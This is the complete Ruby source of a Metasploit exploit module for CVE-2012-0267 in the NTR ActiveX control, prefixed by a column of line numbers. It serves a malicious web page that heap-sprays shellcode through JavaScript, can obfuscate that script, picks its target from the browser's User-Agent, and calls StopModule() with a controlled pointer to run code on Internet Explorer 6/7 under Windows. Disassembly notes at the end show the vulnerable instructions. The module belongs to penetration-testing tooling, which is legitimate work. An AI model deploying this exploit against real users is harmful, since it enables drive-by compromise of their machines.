1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name=> HttpClients::IE, :ua_minver=> "6.0", :ua_maxver=> "7.0", :javascript => true, :os_name=> OperatingSystems::WINDOWS, :classid=> "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}", :method => "StopModule", :rank => NormalRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'NTR ActiveX Control StopModule() Remote Code Execution', 'Description'=> %q{ This module exploits a vulnerability found in the NTR ActiveX 1.1.8. The vulnerability exists in the StopModule() method, where the lModule parameter is used to dereference memory to get a function pointer, which leads to code execution under the context of the user visiting a malicious web page. }, 'Author' => [ 'Carsten Eiram', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2012-0267' ], [ 'OSVDB', '78253' ], [ 'BID', '51374' ], [ 'URL', 'http://secunia.com/secunia_research/2012-2/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space' => 1024, 'DisableNops' => true, 'BadChars'=> "" }, 'DefaultOptions'=> { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ # NTR ActiveX 1.1.8.0 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5f4'} ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5f4'} ], [ 'IE 7 on Windows Vista',{ 'Rop' => nil, 'Offset' => '0x5f4'} ] ], 'Privileged' => false, 'DisclosureDate' => 'Jan 11 2012', 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class ) end def get_spray(t, js_code, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 500; z++) { heap_obj.alloc(block); } JS return spray end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[3] #IE 7 on Windows Vista SP2 else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] print_status("User-agent: #{agent}") my_target = get_target(agent) # Avoid the attack if the victim doesn't have a setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js = get_spray(my_target, js_code, js_nops) js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end address = 0x0c0c0c0c / 0x134 html = <<-MYHTML <html> <body> <object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='test'></object> <script> #{js} test.StopModule(#{address}); </script> </body> </html> MYHTML html = html.gsub(/^\t\t/, '') print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin The pointer is "controlled" here: .text:10004449 mov eax, [ebp+arg_0] ; arg_0 is user controlled .text:1000444C imuleax, 134h ; it looks good .text:10004452 lea esi, [eax+edi]; eax is user controlled .text:10004452 ; edi is a heap pointer initialized while activex loading .text:10004452 ; (Important note: the default heap isn't being used) .text:10004452 ; .text:10004452 ; edi: .text:10004452 ; .text:10004452 ; 0:000> !heap -p -a edi .text:10004452 ; address 01fb370c found in .text:10004452 ; _HEAP @ 1fb0000 .text:10004452 ; HEAP_ENTRY Size Prev FlagsUserPtr UserSize - state .text:10004452 ; 01fb3668 0373 0000[01] 01fb367001b90 - (busy) .text:10004452 ; ? ntractivex118!DllUnregisterServer+10d18 .text:10004452 ; .text:10004452 ; Initialization (while activex loading): .text:10004452 ; ChildEBP RetAddrArgs to Child .text:10004452 ; 00138510 02a4e147 00001b84 02a4e8fb 00001b84 ntdll!RtlAllocateHeap+0xeac .text:10004452 ; 00138548 02a4939e 00000000 7dc43038 00e057f8 ntractivex118!DllUnregisterServer+0x8823 .text:10004452 ; 0013855c 7dea5401 02093628 00000000 7dc43038 ntractivex118!DllUnregisterServer+0x3a7a .text:10004452 ; 00138598 7deaa7f8 00e057f8 00e06154 80004005 mshtml!COleSite::InstantiateObjectFromCF+0x114 And user to get RCE here: .text:1000446E mov eax, [esi+24h]; esi can be user influenced .text:10004471 testeax, eax .text:10004473 jzshort loc_10004477 .text:10004475 calleax ; RCE! =end |